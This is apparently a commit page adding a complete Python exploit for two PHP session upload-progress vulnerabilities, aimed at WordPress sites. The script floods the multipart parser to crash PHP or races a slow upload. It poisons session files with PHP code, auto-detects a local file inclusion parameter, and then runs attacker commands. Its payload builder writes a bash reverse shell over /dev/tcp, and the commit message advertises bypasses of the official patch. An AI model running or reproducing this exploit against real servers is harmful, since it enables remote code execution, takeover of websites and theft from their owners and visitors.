PHP session upload progress RCE exploits (CVE-2026-109618, CVE-2026-109619)
Full RCE exploit chain for two critical PHP vulnerabilities in the multipart parser and session upload progress handler, plus three bypass exploits that defeat the official security patch (PHP 8.4.27) and all recommended mitigations. Core exploits: - CVE-2026-109618: OOM in multipart parser → session persistence → LFI → RCE - CVE-2026-109619: Session poisoning via upload progress (direct + race) → RCE - WordPress-targeted wrapper with LFI auto-detection Patch bypass exploits (confirmed RCE on PHP 8.4.27): - Race condition: TOCTOU inherent to upload progress feature design - RLIMIT_AS: mmap() failure bypasses the patched OOM handler - /proc/PID/fd: temp file inclusion bypasses ALL mitigations
This commit is contained in:
Executable
+492
@@ -0,0 +1,492 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619
|
||||
|
||||
Demonstrates both PHP session upload progress vulnerabilities against a
|
||||
WordPress target that has:
|
||||
1. A plugin calling session_start() (WooCommerce, any session-using plugin)
|
||||
2. A local file inclusion vector (plugin theme-preview, template param, etc.)
|
||||
|
||||
Two attack modes:
|
||||
|
||||
OOM mode (CVE-2026-109618)
|
||||
Floods multipart fields to OOM PHP during parsing. zend_bailout()
|
||||
longjmps past MULTIPART_EVENT_END → session cleanup skipped →
|
||||
session file with PHP code persists on disk. Second request
|
||||
includes it via LFI. Works with session.upload_progress.cleanup=1.
|
||||
|
||||
Race mode (CVE-2026-109619)
|
||||
Sends a slow multipart upload that keeps the session file populated
|
||||
while concurrent LFI requests race to include it before cleanup.
|
||||
Works with session.upload_progress.cleanup=1. Lower field count,
|
||||
no OOM needed.
|
||||
|
||||
Usage:
|
||||
# OOM mode (default) — 'id' command
|
||||
python3 wordpress-exploit.py -t http://target:8080/ --cmd 'id'
|
||||
|
||||
# Race mode — reverse shell
|
||||
python3 wordpress-exploit.py -t http://target:8080/ --mode race \\
|
||||
--lhost 10.0.0.1 --lport 4444
|
||||
|
||||
# Custom LFI parameter and session path
|
||||
python3 wordpress-exploit.py -t http://target:8080/ --cmd 'cat /etc/passwd' \\
|
||||
--lfi-param dt_template --session-path /tmp/php-sessions
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
from urllib.parse import urlparse
|
||||
|
||||
# ─── defaults ────────────────────────────────────────────────────────
|
||||
|
||||
WP_SESSION_PATHS = [
|
||||
"/tmp",
|
||||
"/tmp/php-sessions",
|
||||
"/var/lib/php/sessions",
|
||||
"/var/lib/php5/sessions",
|
||||
]
|
||||
|
||||
WP_LFI_PARAMS = [
|
||||
"dt_template",
|
||||
"page",
|
||||
"template",
|
||||
"file",
|
||||
"tpl",
|
||||
"include",
|
||||
"path",
|
||||
]
|
||||
|
||||
# OOM tuning — ~1.6KB per field on PHP 8.4, aim for 80% of memory_limit
|
||||
OOM_FIELD_SIZE = 1024
|
||||
OOM_FIELDS_64M = 40000
|
||||
OOM_FIELDS_128M = 80000
|
||||
|
||||
# ─── HTTP / multipart helpers ────────────────────────────────────────
|
||||
|
||||
def tcp_connect(host, port, tls=False, timeout=30):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
if tls:
|
||||
import ssl
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||
return sock
|
||||
|
||||
|
||||
def recv_all(sock, timeout=10):
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
|
||||
def status_code(resp):
|
||||
try:
|
||||
return int(resp.split(b" ")[1])
|
||||
except:
|
||||
return 0
|
||||
|
||||
|
||||
def body_of(resp):
|
||||
if b"\r\n\r\n" not in resp:
|
||||
return resp
|
||||
hdr, raw = resp.split(b"\r\n\r\n", 1)
|
||||
if b"transfer-encoding: chunked" in hdr.lower():
|
||||
out, data = b"", raw
|
||||
while data:
|
||||
nl = data.find(b"\r\n")
|
||||
if nl < 0:
|
||||
break
|
||||
try:
|
||||
clen = int(data[:nl].split(b";")[0].strip(), 16)
|
||||
except ValueError:
|
||||
break
|
||||
if clen == 0:
|
||||
break
|
||||
out += data[nl+2:nl+2+clen]
|
||||
data = data[nl+2+clen+2:]
|
||||
return out
|
||||
return raw
|
||||
|
||||
|
||||
def http_get(host, port, tls, path, headers=None, timeout=10):
|
||||
sock = tcp_connect(host, port, tls, timeout)
|
||||
req = (
|
||||
b"GET " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
)
|
||||
if headers:
|
||||
for k, v in headers.items():
|
||||
req += f"{k}: {v}\r\n".encode()
|
||||
req += b"Connection: close\r\n\r\n"
|
||||
sock.sendall(req)
|
||||
resp = recv_all(sock, timeout)
|
||||
sock.close()
|
||||
return resp
|
||||
|
||||
|
||||
def mp_field(bnd, name, value):
|
||||
return (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
||||
b"\r\n" + value + b"\r\n")
|
||||
|
||||
|
||||
def mp_file(bnd, name, fname, content):
|
||||
return (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + name
|
||||
+ b'"; filename="' + fname + b'"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n"
|
||||
b"\r\n" + content + b"\r\n")
|
||||
|
||||
|
||||
def mp_end(bnd):
|
||||
return b"--" + bnd + b"--\r\n"
|
||||
|
||||
# ─── payload builders ────────────────────────────────────────────────
|
||||
|
||||
def build_payload(args):
|
||||
if args.trigger_only:
|
||||
return b'<?php echo "CVE2026:TRIGGERED:pid=".getmypid().":".php_uname(); ?>'
|
||||
if args.cmd:
|
||||
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||||
return f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
||||
if args.lhost and args.lport:
|
||||
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
||||
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||||
return f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||||
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
|
||||
sys.exit(1)
|
||||
|
||||
# ─── OOM mode (CVE-2026-109618) ─────────────────────────────────────
|
||||
|
||||
def attack_oom(host, port, tls, path, sid, php_code, lfi_param,
|
||||
session_paths, fields, fsize, args):
|
||||
bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode()
|
||||
|
||||
print("[*] Phase 1: session poisoning + OOM crash")
|
||||
print(f" Building {fields} × {fsize}B field payload...")
|
||||
|
||||
body = b""
|
||||
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
|
||||
body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096)
|
||||
for i in range(fields):
|
||||
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
|
||||
body += mp_end(bnd)
|
||||
print(f" Payload: {len(body)/(1024*1024):.1f} MB")
|
||||
|
||||
sock = tcp_connect(host, port, tls, timeout=120)
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
try:
|
||||
sock.sendall(body)
|
||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||
pass
|
||||
|
||||
resp = recv_all(sock, timeout=10)
|
||||
sock.close()
|
||||
sc = status_code(resp)
|
||||
|
||||
if sc == 502 or sc == 0:
|
||||
print(f" [+] Worker crashed (HTTP {sc or 'reset'})")
|
||||
print(f" OOM during parsing — session cleanup skipped")
|
||||
elif sc == 500:
|
||||
print(f" [+] HTTP 500 — OOM during script execution")
|
||||
else:
|
||||
print(f" [!] HTTP {sc} — no OOM. Try --fields {fields*2}")
|
||||
return False
|
||||
|
||||
# Wait for new worker
|
||||
print(" Waiting for new worker...")
|
||||
time.sleep(2)
|
||||
for i in range(10):
|
||||
try:
|
||||
r = http_get(host, port, tls, path, timeout=3)
|
||||
if status_code(r) in (200, 301, 302, 403, 404):
|
||||
print(f" New worker ready")
|
||||
break
|
||||
except:
|
||||
pass
|
||||
time.sleep(1)
|
||||
else:
|
||||
print(" [!] New worker not available")
|
||||
return False
|
||||
|
||||
# Phase 2: LFI
|
||||
return phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args)
|
||||
|
||||
|
||||
# ─── Race mode (CVE-2026-109619) ────────────────────────────────────
|
||||
|
||||
def slow_upload(host, port, tls, path, sid, php_code, duration=8.0):
|
||||
bnd = b"----SLOW" + os.urandom(4).hex().encode()
|
||||
sock = tcp_connect(host, port, tls)
|
||||
|
||||
head = b""
|
||||
head += (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
|
||||
b"\r\n" + php_code + b"\r\n")
|
||||
head += (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n\r\n")
|
||||
|
||||
file_size = 1024 * 1024
|
||||
tail = b"\r\n--" + bnd + b"--\r\n"
|
||||
total = len(head) + file_size + len(tail)
|
||||
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||
b"Content-Length: " + str(total).encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
sock.sendall(head)
|
||||
|
||||
chunk = b"\x00" * 4096
|
||||
sent, start = 0, time.time()
|
||||
try:
|
||||
while sent < file_size and (time.time() - start) < duration:
|
||||
sock.sendall(chunk[:min(4096, file_size - sent)])
|
||||
sent += min(4096, file_size - sent)
|
||||
time.sleep(0.05)
|
||||
sock.sendall(tail)
|
||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||
pass
|
||||
try:
|
||||
recv_all(sock, timeout=2)
|
||||
except:
|
||||
pass
|
||||
sock.close()
|
||||
|
||||
|
||||
def attack_race(host, port, tls, path, php_code, lfi_param,
|
||||
session_paths, attempts, args):
|
||||
for attempt in range(1, attempts + 1):
|
||||
if attempts > 1:
|
||||
print(f"[*] === Attempt {attempt}/{attempts} ===")
|
||||
|
||||
sid = os.urandom(16).hex()
|
||||
lfi_sid = os.urandom(16).hex()
|
||||
print(f"[+] Upload SID: {sid}")
|
||||
|
||||
print("[*] Starting slow upload (keeps session file alive)...")
|
||||
t = threading.Thread(target=slow_upload,
|
||||
args=(host, port, tls, path, sid, php_code, 8.0),
|
||||
daemon=True)
|
||||
t.start()
|
||||
time.sleep(0.3)
|
||||
|
||||
print("[*] Racing LFI requests against upload...")
|
||||
for i in range(150):
|
||||
if not t.is_alive():
|
||||
break
|
||||
for sp in session_paths:
|
||||
sess = f"{sp}/sess_{sid}"
|
||||
url = f"{path}?{lfi_param}={sess}"
|
||||
try:
|
||||
resp = http_get(host, port, tls, url,
|
||||
headers={"Cookie": f"PHPSESSID={lfi_sid}"},
|
||||
timeout=3)
|
||||
rbody = body_of(resp)
|
||||
if b"CVE2026:" in rbody:
|
||||
output = extract_output(rbody.decode(errors="replace"), args)
|
||||
if output is not None:
|
||||
print(f"\n[+] Race won on iteration {i+1}")
|
||||
print_result(output, args)
|
||||
return True
|
||||
except:
|
||||
pass
|
||||
time.sleep(0.02)
|
||||
|
||||
t.join(timeout=2)
|
||||
print(f" Race lost on attempt {attempt}")
|
||||
|
||||
print("[!] Race condition failed after all attempts")
|
||||
return False
|
||||
|
||||
# ─── LFI phase (shared) ─────────────────────────────────────────────
|
||||
|
||||
def phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args):
|
||||
print()
|
||||
print("[*] Phase 2: including poisoned session file via LFI...")
|
||||
|
||||
for sp in session_paths:
|
||||
sess = f"{sp}/sess_{sid}"
|
||||
url = f"{path}?{lfi_param}={sess}"
|
||||
try:
|
||||
resp = http_get(host, port, tls, url, timeout=10)
|
||||
rbody = body_of(resp)
|
||||
if b"CVE2026:" in rbody:
|
||||
output = extract_output(rbody.decode(errors="replace"), args)
|
||||
if output is not None:
|
||||
print(f" Session file: {sess}")
|
||||
print_result(output, args)
|
||||
return True
|
||||
except:
|
||||
continue
|
||||
|
||||
print(" [!] Session file not found via LFI")
|
||||
print(f" Tried: {', '.join(session_paths)}")
|
||||
return False
|
||||
|
||||
|
||||
def extract_output(body_text, args):
|
||||
if args.trigger_only:
|
||||
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", body_text)
|
||||
return m.group(1) if m else body_text[:200]
|
||||
if args.cmd:
|
||||
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
|
||||
if m:
|
||||
return m.group(1).strip()
|
||||
if "upload_progress_" in body_text:
|
||||
return ""
|
||||
return body_text[:500]
|
||||
return ""
|
||||
|
||||
|
||||
def print_result(output, args):
|
||||
if args.trigger_only:
|
||||
print()
|
||||
print("[+] Code execution confirmed!")
|
||||
print(f" {output}")
|
||||
elif args.cmd:
|
||||
print()
|
||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||
print(output)
|
||||
print("[+] ══════════════════════════════════════════")
|
||||
print()
|
||||
print("[+] RCE achieved!")
|
||||
else:
|
||||
print()
|
||||
print("[+] Payload delivered — check your listener")
|
||||
|
||||
# ─── auto-detect ─────────────────────────────────────────────────────
|
||||
|
||||
def detect_lfi_param(host, port, tls, path, params):
|
||||
for param in params:
|
||||
try:
|
||||
url = f"{path}?{param}=/etc/hostname"
|
||||
resp = http_get(host, port, tls, url, timeout=5)
|
||||
sc = status_code(resp)
|
||||
rbody = body_of(resp)
|
||||
if sc == 200 and len(rbody.strip()) > 0 and len(rbody.strip()) < 200:
|
||||
return param
|
||||
except:
|
||||
continue
|
||||
return None
|
||||
|
||||
# ─── main ────────────────────────────────────────────────────────────
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser(
|
||||
description="WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
%(prog)s -t http://target:8080/ --cmd 'id'
|
||||
%(prog)s -t http://target:8080/ --mode race --cmd 'whoami'
|
||||
%(prog)s -t http://target:8080/ --lhost 10.0.0.1 --lport 4444
|
||||
%(prog)s -t http://target:8080/ --trigger-only
|
||||
""")
|
||||
ap.add_argument("-t", "--target", required=True, help="WordPress URL")
|
||||
ap.add_argument("--mode", choices=["oom", "race"], default="oom",
|
||||
help="Attack mode: oom (CVE-2026-109618) or race (CVE-2026-109619)")
|
||||
ap.add_argument("--cmd", help="Command to execute")
|
||||
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
||||
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
||||
ap.add_argument("--trigger-only", action="store_true",
|
||||
help="Confirm vulnerability without payload")
|
||||
ap.add_argument("--lfi-param", help="LFI query parameter (auto-detected if omitted)")
|
||||
ap.add_argument("--session-path", help="session.save_path on target")
|
||||
ap.add_argument("--fields", type=int, default=OOM_FIELDS_64M,
|
||||
help=f"OOM pressure fields (default {OOM_FIELDS_64M} for 64M)")
|
||||
ap.add_argument("--field-size", type=int, default=OOM_FIELD_SIZE,
|
||||
help=f"Bytes per OOM field (default {OOM_FIELD_SIZE})")
|
||||
ap.add_argument("--attempts", type=int, default=5,
|
||||
help="Race mode attempts (default 5)")
|
||||
args = ap.parse_args()
|
||||
|
||||
p = urlparse(args.target)
|
||||
tls = p.scheme == "https"
|
||||
host = p.hostname or "127.0.0.1"
|
||||
port = p.port or (443 if tls else 80)
|
||||
path = p.path or "/"
|
||||
if not path.endswith("/") and "." not in path.split("/")[-1]:
|
||||
path += "/"
|
||||
|
||||
php_code = build_payload(args)
|
||||
sid = os.urandom(16).hex()
|
||||
spaths = list(WP_SESSION_PATHS)
|
||||
if args.session_path:
|
||||
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
|
||||
|
||||
cve = "CVE-2026-109618 (OOM)" if args.mode == "oom" else "CVE-2026-109619 (Race)"
|
||||
print("=" * 65)
|
||||
print(f" WordPress RCE — {cve}")
|
||||
print("=" * 65)
|
||||
print(f" Target : {args.target}")
|
||||
print(f" Mode : {args.mode}")
|
||||
if args.cmd:
|
||||
print(f" Command : {args.cmd}")
|
||||
elif args.lhost:
|
||||
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||||
print()
|
||||
|
||||
# Phase 0: verify target
|
||||
print("[*] Checking target...")
|
||||
try:
|
||||
r = http_get(host, port, tls, path, timeout=5)
|
||||
sc = status_code(r)
|
||||
if sc == 0:
|
||||
raise ConnectionError("no response")
|
||||
print(f" HTTP {sc} — WordPress alive")
|
||||
except Exception as e:
|
||||
print(f" [!] Not reachable: {e}")
|
||||
sys.exit(1)
|
||||
|
||||
# Auto-detect LFI param
|
||||
lfi_param = args.lfi_param
|
||||
if not lfi_param:
|
||||
print("[*] Auto-detecting LFI parameter...")
|
||||
lfi_param = detect_lfi_param(host, port, tls, path, WP_LFI_PARAMS)
|
||||
if lfi_param:
|
||||
print(f" [+] Found: {lfi_param}")
|
||||
else:
|
||||
print(" [!] No LFI param detected. Specify --lfi-param")
|
||||
sys.exit(1)
|
||||
print()
|
||||
|
||||
if args.mode == "oom":
|
||||
ok = attack_oom(host, port, tls, path, sid, php_code, lfi_param,
|
||||
spaths, args.fields, args.field_size, args)
|
||||
else:
|
||||
ok = attack_race(host, port, tls, path, php_code, lfi_param,
|
||||
spaths, args.attempts, args)
|
||||
|
||||
sys.exit(0 if ok else 1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user